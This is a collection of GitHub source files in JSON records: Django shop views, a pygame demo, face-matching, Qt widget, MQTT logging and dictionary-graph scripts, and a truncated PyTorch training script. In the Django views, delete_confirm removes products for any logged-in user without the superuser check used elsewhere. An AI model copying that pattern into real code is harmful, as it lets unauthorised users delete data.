else:\n context = cases.error(context, \"Something went wrong\")\n return render(request, 'products/update_product.html',context)\n else:\n context = cases.get_profile(dict(), request)\n context = cases.front_page(context)\n context = cases.error(context, \"You shall not pass\")\n return render(request, 'products/frontpage.html', context)\n\n#This is for updateing the product photo you need to send the product id to connect the image to the product\n#In the database\n@login_required()\ndef update_product_photo(request, id):\n if request.user.is_superuser:\n context = {\n 'form': ImageForm(),\n 'product_id': id\n }\n context = cases.get_profile(context, request)\n the_product = Product.objects.filter(pk=id).first()\n if request.method == \"POST\":\n form = ImageForm(data=request.POST)\n if form.is_valid():\n\n form.instance.product = the_product\n form.save()\n context = cases.success(context, \"Successfully added a image to the product \"+ the_product.name)\n return render(request, 'products/update_product_image.html', context)\n else:\n context = cases.error(context, 'Something went wrong')\n\n return render(request, 'products/update_product_image.html', context)\n else:\n context = cases.get_profile(dict(), request)\n context = cases.error(context, \"You shall not pass\")\n context = cases.front_page(context)\n return render(request, 'products/frontpage.html', context)\n\n#This is to delete product\n@login_required()\ndef delete_product(request, id):\n if request.user.is_superuser:\n the_product = Product.objects.filter(pk=id).first()\n the_product.delete()\n context = cases.get_profile(dict(), request)\n context = cases.success(context, 'Product deleted')\n return render(request, 'products/delete_product.html', context)\n else:\n context = cases.get_profile(dict(), request)\n context = cases.error(context, \"You shall not pass\")\n context = cases.front_page(context)\n return render(request, 'products/frontpage.html', context)\n\n@login_required()\ndef delete_confirm(request, id):\n the_product = Product.objects.filter(pk=id).first()\n the_product.delete()\n return redirect('products')\n\n#This to review product\n@login_required()\ndef review_product(request, id):\n context = cases.get_profile(dict(), request)\n profile = context['profile']\n product = Product.objects.filter(pk=id).first()\n order = Order.objects.filter(customer=profile)\n list_of_order_id = []\n for x in order:\n list_of_order_id.append(x.id)\n #Since each user can only review each product only once and he must have bought the to review them\n #we must have these two guards\n if len(Review.objects.filter(customer=profile, product=product))==0:\n if len(OrderProduct.objects.filter(order__in=list_of_order_id, product=product)) > 0:\n context['form'] = ReviewForm()\n if request.method == \"POST\":\n #We must increase the review count so we can see on the front page how many have rated the product\n #And calculate the new mean for the rating\n form = ReviewForm(data=request.POST)\n form.instance.customer = profile\n form.instance.product = product\n form.save()\n product.review_count = product.review_count + 1\n product.rating = round((product.rating*(product.review_count-1)+form.instance.star)/(product.review_count))\n product.save()\n context = cases.success(context, 'Review successfull')\n return get_product_by_id(request, product.id, context=context)\n return render(request, 'products/review_product.html', context)\n else:\n context = cases.error(context, 'You must have ordered the product to review')\n context = cases.front_page(context)\n return render(request, 'products/frontpage.html', context)\n else:\n context = cases.front_page(context)\n context = cases.error(context, 'You can only review each products once')\n return render(request, 'products/frontpage.html', context)\n\n#If no products are found we redirect them to a page that has a message for them\ndef search_no_response(request):\n return render(request, 'products/product_search_error.html', cases.get_profile(dict(), request))\n\n","repo_name":"huginngri/CaptainConsole","sub_path":"Captain_Console/products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40661354646","text":"import pygame,os\nWIDTH = 360\nHEIGHT = 480\nFPS = 30\npygame.init()\npygame.mixer.init()\nimport game,asyncio\nsprites = game.sprites\nscreen = pygame.display.set_mode((WIDTH, HEIGHT), pygame.RESIZABLE)\npygame.display.set_caption(\"AttackoftheClones -- ENGINE DEMO\")\nclock = pygame.time.Clock()\nrunning = True\nRESIZE = 2.5\nframe = 0\nwhile running:\n clock.tick(FPS)\n if not frame < 60:frame = 0\n else: frame += 1\n os.system('clear')\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.VIDEORESIZE:\n screen = pygame.display.set_mode((event.w, event.h), pygame.RESIZABLE)\n WIDTH = event.w\n HEIGHT = event.h\n screen.fill((255,255,255))\n clonecount = 0\n for sprite in sprites:\n name, pos, img, cloneid,clonecount,currentcostume,costumelist, func, isclone,obj = sprite[0]\n func(sprite)\n img = pygame.transform.scale(img,((WIDTH-img.get_width())/RESIZE,(HEIGHT-img.get_height())/RESIZE))\n screen.blit(img,(pos[0]+img.get_width()*cloneid,pos[1]))\n print(f\"MASTER - {clonecount} CLONES | FRAME - {frame} | FPS - {clock.get_fps()} | SIZE - {WIDTH}X{HEIGHT}\")\n pygame.display.update()\npygame.quit()","repo_name":"killgriff22/AotC","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40168175428","text":"import argparse\nfrom keras.preprocessing import image\nfrom VGGFace.get_VGG_vector import get_VGG_vector\nimport numpy as np\nfrom keras.models import load_model\n\nparser = argparse.ArgumentParser(description='图片对比')\n \nparser.add_argument('--im1', \"-i2\", default = \"im1.jpg\")\nparser.add_argument('--im2', \"-i1\", default = \"im2.jpg\")\nargs = parser.parse_args()\n\nim1 = image.load_img(args.im1, target_size=(224, 224))\nim2 = image.load_img(args.im2, target_size=(224, 224))\nim1 = image.img_to_array(im1)\nim2 = image.img_to_array(im2)\nx = np.array(get_VGG_vector(im1) + get_VGG_vector(im2))\nx = np.expand_dims(x, axis = 0)\n\nmodel = load_model(\"./authen/G3.h5\")\ny = model.predict(x)[0]\n\nprint(\"匹配度为%.4f%%\" %(y[0] * 100.))\nprint(\"认证成功\" if y[0] > y[1] else \"认证失败\")\n","repo_name":"LibrarristShalinward/VGGCmp","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"20952577475","text":"from qtpy.QtCore import Qt, QObject, Signal\nfrom qtpy.QtWidgets import (\n QWidget,\n QTableWidget,\n QAbstractItemView,\n QHeaderView,\n QTableWidgetItem,\n QCheckBox,\n QHBoxLayout,\n)\nfrom typing import Optional, List\n\nfrom tomoxrd.widget.custom import AbstractLabel, AbstractInputBox\n\n\nclass AbstractTableWidget(QTableWidget, QObject):\n \"\"\"\n Used to create instances of simple table widgets, with a specified number of columns.\n \"\"\"\n enabled_checkboxes_changed: Signal = Signal()\n\n enabled_checkboxes: List[QCheckBox] = []\n _row_counter: int = 0\n\n def __init__(\n self,\n columns: Optional[int] = None,\n rows: Optional[int] = None,\n horizontal_headers: Optional[list] = None,\n column_stretch: Optional[int] = None,\n object_name: Optional[str] = \"abstract-table\",\n ) -> None:\n super(AbstractTableWidget, self).__init__()\n\n self._columns = columns\n self._rows = rows\n self._horizontal_headers = horizontal_headers\n self._column_stretch = column_stretch\n self._object_name = object_name\n\n self._configure_abstract_table()\n\n def _configure_abstract_table(self) -> None:\n \"\"\"Sets the basic configuration values for the abstract table widget.\"\"\"\n # Set columns\n if self._columns is not None:\n if self._columns >= 1:\n self.setColumnCount(self._columns)\n\n # Set rows\n if self._rows is not None:\n if self._rows >= 1:\n self.setRowCount(self._rows)\n\n # Set horizontal headers\n if self._horizontal_headers is None:\n self.horizontalHeader().setVisible(False)\n else:\n self.horizontalHeader().setVisible(True)\n self.setHorizontalHeaderLabels(self._horizontal_headers)\n\n # Set object name\n if self._object_name is not None:\n self.setObjectName(self._object_name)\n\n # Set column stretch\n if self._column_stretch is not None:\n if 0 <= self._column_stretch <= self._columns - 1:\n self.horizontalHeader().setSectionResizeMode(\n self._column_stretch, QHeaderView.Stretch\n )\n\n # Hide vertical header\n self.verticalHeader().setVisible(False)\n\n # Disable grid\n self.setShowGrid(False)\n\n # Disable header buttons\n self.horizontalHeader().setDisabled(True)\n\n # Set alternating row colors\n self.setAlternatingRowColors(True)\n\n # Set selection behavior and mode\n self.setSelectionBehavior(QAbstractItemView.SelectRows)\n self.setSelectionMode(QAbstractItemView.SingleSelection)\n\n def _check_for_available_name(self) -> None:\n self._row_counter = 0\n for row in range(self.rowCount() - 1):\n\n self._row_counter += 1\n\n if not f\"pos{self._row_counter}\" == self.item(row, 0).text():\n return None\n\n def _checkbox_state_changed(self, state: bool) -> None:\n self.enabled_checkboxes_changed.emit()\n\n def add_point(\n self,\n x_value: Optional[float] = None,\n y_value: Optional[float] = None,\n z_value: Optional[float] = None,\n ) -> None:\n\n row = self.rowCount()\n self.setRowCount(row + 1)\n\n # Name\n self._row_counter = row + 1\n dynamic_created_name = f\"pos{self._row_counter}\"\n\n if row > 0:\n # Check if name exists\n for existing_row in range(row):\n if dynamic_created_name == self.item(existing_row, 0).text():\n temp_counter = self._row_counter\n self._check_for_available_name()\n dynamic_created_name = f\"pos{self._row_counter}\"\n self._row_counter = temp_counter\n\n name = QTableWidgetItem(dynamic_created_name)\n name.setTextAlignment(Qt.AlignmentFlag.AlignCenter)\n self.setItem(row, 0, name)\n\n # x value\n if x_value is not None:\n x = AbstractInputBox(object_name=\"table-input\")\n x.setText(str(x_value))\n self.setCellWidget(row, 1, x)\n\n # y value\n if y_value is not None:\n y = AbstractInputBox(object_name=\"table-input\")\n y.setText(str(y_value))\n self.setCellWidget(row, 2, y)\n\n # z value\n if z_value is not None:\n z = AbstractInputBox(object_name=\"table-input\")\n z.setText(str(z_value))\n self.setCellWidget(row, 3, z)\n\n # Enabled\n checkbox = QCheckBox()\n checkbox.setChecked(True)\n checkbox.setObjectName(\"table-checkbox\")\n self.setCellWidget(row, 4, checkbox)\n self.enabled_checkboxes.append(checkbox)\n checkbox.stateChanged.connect(self._checkbox_state_changed)\n\n def delete_point(self) -> None:\n index = self.currentRow()\n if index >= 0:\n self.removeRow(index)\n del self.enabled_checkboxes[index]\n\n def clear_points(self) -> None:\n for row in range(self.rowCount()):\n self.removeRow(row)\n\n self.setRowCount(0)\n self.enabled_checkboxes.clear()\n\n def check_all_points(self) -> None:\n for checkbox in self.enabled_checkboxes:\n checkbox.setChecked(True)\n","repo_name":"GSECARS/TomoXRD","sub_path":"tomoxrd/widget/custom/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":5321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34173072138","text":"import paho.mqtt.client as mqtt\nimport time\nimport ssl\nimport sys\nimport os\n\n#------------------------------#\n########### Settings ###########\n#------------------------------#\n\n# General:\n\n# System paths\n_LOG='/var/log/mqtt_server_client/mqtt_server_client.log'\n_DB='/var/lib/mqtt_server_client/mqtt_server_client.db.csv'\n_EXCHANGE_DIR='/usr/local/var/'\n\n_USER_CREDENTIALS='/usr/local/etc/mqtt_server_client/user_credentials'\n_CA='/usr/local/share/ca-certificates/ca_cert.pem'\n\n# MQTT:\n\n# User credentials\nwith open(_USER_CREDENTIALS, 'r') as user_credentials:\n _USERNAME=user_credentials.readline().rstrip('\\n')\n _PASSWORD=user_credentials.readline().rstrip('\\n')\n\n# Topics to subscribe to\n_TOPICS='emra/+'\n\n# CSV delimiter\n_CSV_DELIMITER=','\n\n# Local IP-address to bind the MQTT client to\n_IP_ADDR_LOCAL='127.0.0.1'\n\n# Remote IP-address of the MQTT broker\n_IP_ADDR_REMOTE='192.168.42.1'\n\n# Port of the MQTT broker\n_MQTT_PORT=8883\n\n# Timeout threshold (in s; maximum period allowed between communications with the\n# broker (if no other messages are exchanged, this controls the rate at which the\n# client pings the broker)\n_MQTT_TIMEOUT=60\n\n#------------------------------#\n######## Implementation ########\n#------------------------------#\n\nclass MQTT_Server_Client(object):\n '''\n This implementation of the Python paho-mqtt client allows to connect to a\n MQTT broker and log the data published on definable topics.\n\n Furthermore, it provides the functionality to act as an interface towards\n other, non-MQTT based applications like e.g. an OPC UA server by generating\n data-exchange-files, containing the most current values published on the\n subscribed topics at all times.\n '''\n\n # Initialization method, that is called on the creation of every new client\n # instance; initialize needed class variables and set the destination of the\n # log- and data-exchange-files\n def __init__(self, **kwargs):\n '''\n Initialization method, that is called on the creation of every new client\n instance; initialize needed class variables and set the destination of\n the log- and data-exchange-files\n\n Permitted transfer parameters:\n - log_file (default: /var/log/mqtt_node_client/mqtt_node_client.log)\n - database (default: /var/lib/mqtt_node_client/mqtt_node_client.db.csv)\n - exchange_dir (default: /usr/local/var/)\n - delimiter (default: ,)\n '''\n # Evaluate the transfer parameters\n self._log = kwargs.get('log_file', '/var/log/mqtt_node_client/mqtt_node_client.log')\n self._db = kwargs.get('database', '/var/lib/mqtt_node_client/mqtt_node_client.db.csv')\n self._exchange_dir = kwargs.get('exchange_dir', '/usr/local/var/')\n self._csv_delimiter = kwargs.get('csv_delimiter', ',')\n\n # Initialize _client\n self._client = None\n\n # General:\n\n # Get the current date and time and format the output\n # Format: yyyy-mm-dd hh:mm:ss\n def get_datetime(self):\n '''Get the current date and time and format the output'''\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n\n # MQTT:\n\n # Callback function, which is called after an attempt to connect to the MQTT\n # broker; evaluate the connection result and, in case of a successfully\n # established connection, subscribe the defined topics (reconnection is\n # managed by the network loop in any other case)\n def _on_connect_cb(self, client_instance, userdata, flags, return_code):\n '''Callback function, which is called after an attempt to connect to the MQTT broker'''\n log_buffer=(self.get_datetime()+'_on_connect_cb: Return code: '+mqtt.connack_string(return_code)+'\\n')\n\n # Connection attempt was successfull\n if return_code == mqtt.CONNACK_ACCEPTED:\n log_buffer+=(self.get_datetime()+'_on_connect_cb: Subscribing to the defined topics!\\n')\n # Subscribe to the defined topics; retry every 30 seconds if the\n # subscription fails\n try:\n while (self._client.subscribe(topic=self._topics, qos=1)[0] != mqtt.MQTT_ERR_SUCCESS):\n log_buffer+=(self.get_datetime()+'_on_connect_cb: Subscription failed! No connection to the broker! Retrying in 30 seconds!\\n')\n time.sleep(30)\n log_buffer+=(self.get_datetime()+'_on_connect_cb: Successfully subscribed to the defined topics!\\n')\n except:\n log_buffer+=(self.get_datetime()+'_on_connect_cb: Error: '+str(sys.exc_info()[1])+'\\n')\n # Connection attempt wasn't successfull\n else:\n log_buffer+=(self.get_datetime()+'_on_connect_cb: Trying again!\\n')\n\n # Write the buffer to the log (the usage of a buffer allows to minimalize\n # file is opened (and therewith occupied) by the program, thus reducing\n # the risk of an access conflict)\n with open(self._log, 'a') as log:\n log.write(log_buffer)\n\n # Callback function, which is called after the client disconnected the MQTT\n # broker; evaluate the connection result and, in case of an intended\n # disconnect, exit the program (reconnection is managed by the network loop\n # in any other case)\n def _on_disconnect_cb(self, client_instance, userdata, return_code):\n '''Callback function, which is called after the client disconnected the MQTT broker'''\n log_buffer=(self.get_datetime()+' _on_disconnect_cb: Disconnected from the broker! Return code: '+mqtt.error_string(return_code)+'\\n')\n\n # Exit the program if the disconnect was caused by client.disconnect()\n if return_code == mqtt.MQTT_ERR_SUCCESS:\n log_buffer+=(self.get_datetime()+' _on_disconnect_cb: Exiting the program!\\n')\n\n # Exit the program\n sys.exit()\n else:\n log_buffer+=(self.get_datetime()+' _on_disconnect_cb: Trying to reconnect!\\n')\n\n # Write the buffer to the log (the usage of a buffer allows to minimalize\n # file is opened (and therewith occupied) by the program, thus reducing\n # the risk of an access conflict)\n with open(self._log, 'a') as log:\n log.write(log_buffer)\n\n # Callback function, that is called everytime a new message is published on\n # a topic subscribed by the client; log the message received and write it to\n # the data-exchange-file\n def _on_message_cb(self, client_instance, userdata, msg):\n '''Callback function, that is called everytime a new message is published on a topic subscribed by the client'''\n log_buffer=(self.get_datetime()+'_on_message_cb: Obtained message '+str(msg.payload).lstrip('b').strip(\"'\")+' on topic '+msg.topic+'\\n')\n\n # Write the message received to the database\n with open(self._db, 'a') as database:\n database.write(self.get_datetime()+self._csv_delimiter+msg.topic[msg.topic.rfind('/')+1:]+self._csv_delimiter+str(msg.payload).lstrip('b').strip(\"'\")+'\\n')\n\n try:\n # Create the respective sub-directories in the data-exchange-directory\n # if they don't exist yet\n _exchange_file=self._exchange_dir+msg.topic\n os.makedirs(_exchange_file[:_exchange_file.rfind('/')], exist_ok=True)\n\n # Generate a temporary file containing the data received\n with open(_exchange_file+'.temp', 'w') as data_exchange_file:\n data_exchange_file.write(str(msg.payload).lstrip('b').strip(\"'\"))\n data_exchange_file.flush()\n os.fsync(data_exchange_file.fileno())\n except FileNotFoundError:\n # Every then and now, the system cleans up the data-exchange-directory\n # and removes outdate files and empty directories. If this garbage\n # collector checks on a directory just between os.makedirs(...) and\n # open(...), it will only see an empty directory and remove it (a\n # wild runtime-condition occurs). The result is a FileNotFoundError.\n # In this case, the message received can still be found in the\n # database, but the respective data-exchange-file isn't created.\n log_buffer+=(self.get_datetime()+'_on_message_cb: Error! No such file or directory: '+_exchange_file+'\\n')\n except:\n log_buffer+=(self.get_datetime()+'_on_message_cb: Error: '+str(sys.exc_info()[1])+'\\n')\n\n # Replace the current data-exchange-file with the temporary file\n #\n # The OPC UA-server constantly tries to read the content from the data-\n # exchange-file. So, to avoid complications arising from a simultaneous\n # access to the resource, the file has to be edited in an atomic manner\n # (\"to make the object thread-safe\").\n # The only real way to achieve this is to write the message to a second\n # file and replace the original data-exchange-file by it in one step (by\n # editing the object's inode). This is done via the os.rename(...) command.\n # According to https://docs.python.org/3/library/os.html:\n #\n # \"If successful, the renaming will be an atomic operation (this is\n # a POSIX requirement).\"\n try:\n os.rename(_exchange_file+'.temp', _exchange_file)\n except:\n log_buffer+=(self.get_datetime()+'_on_message_cb: Error: '+str(sys.exc_info()[1])+'\\n')\n\n # Write the buffer to the log (the usage of a buffer allows to minimalize\n # file is opened (and therewith occupied) by the program, thus reducing\n # the risk of an access conflict)\n with open(self._log, 'a') as log:\n log.write(log_buffer)\n\n # Initialize and configure the MQTT client\n def mqtt_node_client_init(self, remote_ip, port, topics, local_ip, username, password, **kwargs):\n '''\n Initialize and configure the MQTT client\n\n Permitted transfer parameters:\n - client_id (default: value of username)\n - ca (default: None)\n - timeout (default: 60)\n '''\n # Evaluate the transfer parameters\n cl_id = kwargs.get('client_id', username)\n ca = kwargs.get('ca', None)\n timeout = kwargs.get('timeout', 60)\n\n self._topics = topics\n\n with open(self._log, 'a') as log:\n log.write(\n self.get_datetime()+' mqtt_node_client_init: Initializing and configuring the MQTT client!\\n'+\n self.get_datetime()+' mqtt_node_client_init: Local IP: '+local_ip+' Remote IP: '+remote_ip+' Port: '+str(port)+'\\n'\n )\n\n try:\n # Initialize the MQTT client and set the respective callback functions\n self._client = mqtt.Client(client_id=cl_id, clean_session=False, userdata=None, protocol=mqtt.MQTTv31, transport='tcp')\n self._client.on_connect = self._on_connect_cb\n self._client.on_disconnect = self._on_disconnect_cb\n self._client.on_message = self._on_message_cb\n\n if ca != None:\n # Configure the encryption related settings like which TLS version\n # to use when communicating with the broker or where to find the\n # corresponding CA-certificate\n self._client.tls_set(ca_certs=ca, certfile=None, keyfile=None, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2, ciphers=None)\n\n # Set username and password\n self._client.username_pw_set(username=username, password=password)\n\n # Try to connect to the broker in a non-blocking way and start a\n # loop to keep the connection alive afterwards. This network loop also\n # automatically handles the reconnection to the broker in case the\n # connection is lost without explicitly calling client.disconnect().\n self._client.connect_async(host=remote_ip, port=port, keepalive=timeout, bind_address=local_ip)\n self._client.loop_forever(retry_first_connection=True)\n except:\n # Log occuring errors\n with open(self._log, 'a') as log:\n log.write(self.get_datetime()+' mqtt_node_client_init: Error: '+str(sys.exc_info()[1])+'\\n')\n\n # Check, if the MQTT client has already been initialized\n if self._client != None:\n # Disconnect from the MQTT broker\n self._client.disconnect()\n else:\n # Exit the program directly (instead of from _on_disconnect_cb(...))\n sys.exit()\n\n#------------------------------#\n######### Main program #########\n#------------------------------#\n\n# Create a new instance of MQTT_Node_Client\nclient = MQTT_Server_Client(log_file=_LOG, database=_DB, exchange_dir=_EXCHANGE_DIR, csv_delimiter=_CSV_DELIMITER)\n\n# Initialize the MQTT-client\nclient.mqtt_node_client_init(remote_ip=_IP_ADDR_REMOTE, port=_MQTT_PORT, topics=_TOPICS, local_ip=_IP_ADDR_LOCAL, username=_USERNAME, password=_PASSWORD, ca=_CA, timeout=_MQTT_TIMEOUT)\n","repo_name":"LukasFriedrichsen/RPI_Remote_Device_Readout","sub_path":"files/mqtt_server_client.py","file_name":"mqtt_server_client.py","file_ext":"py","file_size_in_byte":13082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24482860748","text":"#!/usr/bin/env python2\n\nimport spacy\nimport igraph\nimport ujson\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\n\nimport networkx as nx\n\n__author__ = 'Josh Levy-Kramer'\n\nwith open('dictionary/dictionary.json') as f:\n en_dict_json = ujson.load(f)\n\nen_dict = en_dict_json.items() # As tuple\nen_dict = pd.DataFrame(en_dict, columns=['word', 'definition'])\n\nen_dict['word'] = en_dict['word'].str.lower()\n\nnlp_en = spacy.load('en')\nen_dict['definitions_parsed'] = list(nlp_en.pipe(en_dict['definition'], batch_size=100000, n_threads=10)) # Takes around 30s\nen_dict['word_parsed'] = list(nlp_en.pipe(en_dict['word'], batch_size=100000, n_threads=10))\n\n# Convert to edge list and filter out punct and lemmas\nwords_all = []\nlemmas_all = []\nfor ix, row in en_dict.iterrows():\n word_doc = row['word_parsed']\n if (len(word_doc) > 1) or word_doc[0].is_stop:\n continue\n\n definition_doc = row['definitions_parsed']\n #lemmas = [t.lemma_ for t in definition_doc if not t.is_stop and not t.is_punct]\n lemmas = []\n for term in definition_doc:\n if not term.is_stop and not term.is_punct:\n try:\n lemmas.append(str(term)) # If it cant be non-unicode ignor\n except:\n pass\n\n lemmas_all.extend(lemmas)\n words_all.extend([str(word_doc[0])] * len(lemmas))\n\n\n# Convert to graph\ng = igraph.Graph.TupleList(zip(words_all, lemmas_all), directed=True)\n\n\n# Obtain largest connected component\ncomponents = g.components()\ncomponents_subgraphs = components.subgraphs()\ng_largest = np.argmax(components.sizes())\ng_largest = components_subgraphs[g_largest]\n\n# betweeness\nbetweenness = g_largest.betweenness()\nbetweenness = pd.DataFrame({'word': g_largest.vs.get_attribute_values('name'), 'betweenness': betweenness})\nbetweenness = betweenness.sort_values('betweenness', ascending=False)\n\n# pagerank\npagerank = g_largest.pagerank()\npagerank = pd.DataFrame({'word': g_largest.vs.get_attribute_values('name'), 'pagerank': pagerank})\npagerank = pagerank.sort_values('pagerank', ascending=False)\n\n\n\n#\n#\n#\n#\n#\n#\n#\n#\n\n#\n# g = igraph.Graph()\n#\n#\n# # Make sure theres a connected component\n# components = g.components()\n#\n# # Betweenness\n# betweenness = g.betweenness()\n# betweenness = pd.DataFrame({'word': g.vs.get_attribute_values('name'), 'betweenness': betweenness})\n# betweenness = betweenness.sort_values('betweenness', ascending=False)\n#\n# #\n# #\n# # Obtain lemma array\n# en_dict['definitions_lemma'] = en_dict['definitions_parsed'].apply(lambda doc: doc.to_array([spacy.attrs.LEMMA]))\n# en_dict['words_lemma'] = en_dict['word_parsed'].apply(lambda doc: doc.to_array([spacy.attrs.LEMMA]))\n#\n# # Remove 'words' that are made up of more than one word\n# en_dict['words_lemma_len'] = en_dict['words_lemma'].apply(lambda a: len(a))\n# en_dict_1 = en_dict[en_dict['words_lemma_len'] == 1]\n#\n# # Convert to edge list\n# edge_list = []\n# for ix, row in en_dict_1.iterrows():\n# definition = row['definitions_lemma']\n# word = row['words_lemma']\n# df = pd.DataFrame()\n# df['definition'] = definition.flatten()\n# df['word'] = word[0][0]\n# edge_list.append(df)\n# edge_list = pd.concat(edge_list)\n#\n# # Convert to graph\n# g = igraph.Graph.TupleList(edge_list.values.tolist(), directed=True)\n#\n# # Betweenness\n# betweenness = g.betweenness()\n# betweenness = pd.DataFrame({'word_id': g.vs., 'betweenness': betweenness})\n","repo_name":"joshlk/dictionary_graph","sub_path":"dict_graph.py","file_name":"dict_graph.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29369832168","text":"import sys\r\nfrom Framework import STA_STIN\r\nimport datetime\r\nimport argparse\r\nimport os\r\nimport shutil\r\nimport time\r\nimport math\r\nimport Engine as Engine\r\nimport numpy as np\r\nimport torch\r\nimport matplotlib.pyplot as plt\r\nimport random\r\n\r\ntorch.backends.cudnn.benchmark = True\r\nif_cuda = False\r\nparser = argparse.ArgumentParser(description='Spatial-temporal attention based route risk assessment model')\r\nparser.add_argument('--model', type=str, default='STA_STIN',\r\n help='type of recurrent net')\r\nparser.add_argument('--database',type=str,default='',\r\n help='type of recurrent net')\r\nparser.add_argument('--N_SAM', type=int, default=5,\r\n help='The number of ground-based SAMs')\r\nparser.add_argument('--N_RADAR', type=int, default=3,\r\n help='The number of ground-based radars')\r\nparser.add_argument('--input_size', type=int, default=6,\r\n help='Length of input data = length of UAV attribute + length of threat attribute')\r\nparser.add_argument('--effect_size', type=int, default=20,\r\n help='Influence vector length')\r\nparser.add_argument('--output_size', type=int, default=1,\r\n help='Output vector length')\r\nparser.add_argument('--nlayers_1', type=int, default=1,\r\n help='Number of layers of the GRU layer in part of Relation')\r\nparser.add_argument('--nlayers_2', type=int, default=1,\r\n help='Number of layers ofthe GRU layer in part of Evaluation')\r\nparser.add_argument('--lr', type=float, default=0.001,\r\n help='initial learning rate')\r\nparser.add_argument('--clip', type=float, default=0.01,\r\n help='gradient clipping')\r\nparser.add_argument('--epochs', type=int, default=200,\r\n help='upper epoch limit')\r\nparser.add_argument('--snum', type=int, default=2,\r\n help='Proportion of rout points')\r\nparser.add_argument('--train_long', type=int, default=422400,\r\n help='Training data quantity = number of route * length of route')\r\nparser.add_argument('--valid_long', type=int, default=80000,\r\n help='Valid data quantity')\r\nparser.add_argument('--test_long', type=int, default=2000,\r\n help='Test data quantity')\r\nparser.add_argument('--batch_size', type=int, default=64, metavar='N',\r\n help='batch size')\r\nparser.add_argument('--eval_batch_size', type=int, default=4000, metavar='N',\r\n help='test batch size')\r\nparser.add_argument('--test_batch_size', type=int, default=100, metavar='N',\r\n help='eval batch size')\r\nparser.add_argument('--bptt', type=int, default=20,\r\n help='sequence length')\r\nparser.add_argument('--cuda', action='store_true',\r\n help='use CUDA')\r\nparser.add_argument('--cudnn', action='store_true',\r\n help='use cudnn optimized version.')\r\nparser.add_argument('--save', type=str, default='model.pt',\r\n help='path to save the final model')\r\nparser.add_argument('--name', type=str, default=None,\r\n help='name for this experiment. generates folder with the name if specified.')\r\nargs = parser.parse_args()\r\ndevice = torch.device(\"cuda\" if args.cuda else \"cpu\")\r\n\r\ndef batchify(data, bsz,n1):\r\n nbatch = np.size(data,0) // bsz\r\n data = data.narrow(0, 0, nbatch * bsz)\r\n data = data.view(bsz, -1,n1,args.input_size).transpose(0,2).contiguous()\r\n return data.to(device)\r\ndef batchify_lable(data, bsz):\r\n nbatch = np.size(data,0) // bsz\r\n data = data.narrow(0, 0, nbatch * bsz)\r\n data = data.view(bsz, -1,1).transpose(0,1).contiguous()\r\n return data.to(device)\r\ndef get_data():\r\n engine = Engine.engine(args.N_SAM,args.N_RADAR,args.database,args.snum)\r\n engine.connect()\r\n X11,X22 = engine.get_data()\r\n label_ideal = torch.Tensor(engine.get_label_real())*10\r\n return X11,X22,label_ideal\r\ndef data_processing(data,n1):\r\n train_data = batchify(data[0:args.train_long], args.batch_size,n1)\r\n val_data = batchify(data[args.train_long:args.train_long+args.valid_long], args.eval_batch_size,n1)\r\n test_data = batchify(data[args.train_long+args.valid_long:args.train_long+args.valid_long+args.test_long], args.test_batch_size,n1)\r\n return train_data,val_data,test_data\r\ndef data_processing_lable(data):\r\n train_data = batchify_lable(data[0:args.train_long], args.batch_size)\r\n val_data = batchify_lable(data[args.train_long:args.train_long+args.valid_long], args.eval_batch_size)\r\n test_data = batchify_lable(data[args.train_long+args.valid_long:args.train_long+args.valid_long+args.test_long], args.test_batch_size)\r\n return train_data,val_data,test_data\r\n'''Get data from database'''\r\ndata_X1,data_X2,label = get_data()\r\n'''Data processing'''\r\ndata_X1 = torch.Tensor(data_X1)\r\ndata_X2 = torch.Tensor(data_X2)\r\ntrain_data_X1,val_data_X1 ,test_data_X1 = data_processing(data_X1,args.N_RADAR)\r\ntrain_data_X2,val_data_X2 ,test_data_X2 = data_processing(data_X2,args.N_SAM)\r\ntrain_label,val_data_label ,test_data_label = data_processing_lable(label)\r\n'''Save args to logger'''\r\nfolder_name = str(datetime.datetime.now())[:-7]\r\nif args.name is not None:\r\n folder_name = str(args.name) + '!' + folder_name\r\nfolder_name = folder_name.replace(':','')\r\nos.mkdir(folder_name)\r\nfor file in os.listdir(os.getcwd()):\r\n if file.endswith(\".py\"):\r\n shutil.copy2(file, os.path.join(os.getcwd(), folder_name))\r\nlogger_train = open(os.path.join(os.getcwd(), folder_name, 'train_log.txt'), 'w+')\r\nlogger_test = open(os.path.join(os.getcwd(), folder_name, 'test_log.txt'), 'w+')\r\nlogger_train.write(str(args) + '\\n')\r\n'''Build the model'''\r\nif args.model == \"STA_STIN\":\r\n model = STA_STIN.Model_layer(args.input_size, args.effect_size, args.output_size,\r\n args.nlayers_1, args.nlayers_2, args.bptt).to(device)\r\ntotal_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\r\noptimizer = torch.optim.Adam(model.parameters(), lr=args.lr)\r\nscheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, 'min', factor=0.5, patience=10)\r\ndef get_batch(data_source_X1,data_source_X2,label,i):\r\n seq_len = min(args.bptt, len(label)-i)\r\n X1 = (data_source_X1.transpose(0,1))[i:i + seq_len].transpose(0,1)\r\n X2 = (data_source_X2.transpose(0,1))[i:i + seq_len].transpose(0,1)\r\n target = label[i:i + seq_len]\r\n return X1,X2,target\r\ndef evaluate(data_source_X1,data_source_X2,label_source):\r\n '''Turn on evaluation mode'''\r\n model.eval()\r\n total_loss = 0.\r\n with 